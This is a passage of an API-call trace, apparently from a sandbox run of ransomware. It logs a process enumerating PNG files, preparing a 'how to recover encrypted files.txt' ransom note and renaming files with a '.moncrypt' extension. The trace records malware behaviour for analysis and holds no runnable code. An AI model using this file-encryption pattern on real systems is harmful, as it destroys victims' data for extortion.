cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.659] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png", cchWideChar=86, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.pngf", lpUsedDefaultChar=0x0) returned 86 [0058.659] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Stacking\\NavigationRight_ButtonGraphic.pngf", lpUsedDefaultChar=0x0) returned 4 [0058.659] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7d8fa7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7d8fa7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54f98af5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 0x54e280 [0058.659] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.659] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x20) returned 0 [0058.660] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.660] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_buttongraphic.png.moncrypt")) returned 0 [0058.660] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f78cced, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f78cced, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.660] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.660] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.660] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.660] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.660] GlobalUnlock (hMem=0x440004) returned 0 [0058.660] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.660] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.660] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.661] GlobalUnlock (hMem=0x440004) returned 0 [0058.661] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.661] GlobalUnlock (hMem=0x44000c) returned 0 [0058.661] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.661] CharLowerBuffW (in: lpsz="NavigationRight_SelectionSubpicture.png", cchLength=0x27 | out: lpsz="navigationright_selectionsubpicture.png") returned 0x27 [0058.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.662] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png", cchWideChar=92, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.pnge", lpUsedDefaultChar=0x0) returned 92 [0058.662] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Stacking\\NavigationRight_SelectionSubpicture.pnge", lpUsedDefaultChar=0x0) returned 4 [0058.662] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f78cced, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f78cced, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 0x54e280 [0058.663] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.663] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.663] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.663] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x20) returned 0 [0058.663] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.663] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_selectionsubpicture.png.moncrypt")) returned 0 [0058.663] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f766b90, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f766b90, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.664] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.664] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.664] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.664] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.664] GlobalUnlock (hMem=0x44000c) returned 0 [0058.664] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.664] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.664] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.664] GlobalUnlock (hMem=0x44000c) returned 0 [0058.664] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.664] GlobalUnlock (hMem=0x440004) returned 0 [0058.664] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.664] CharLowerBuffW (in: lpsz="NavigationUp_ButtonGraphic.png", cchLength=0x1e | out: lpsz="navigationup_buttongraphic.png") returned 0x1e [0058.664] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.664] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.664] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.664] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.664] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.664] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.664] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.664] WideCharToMultiByte (in: 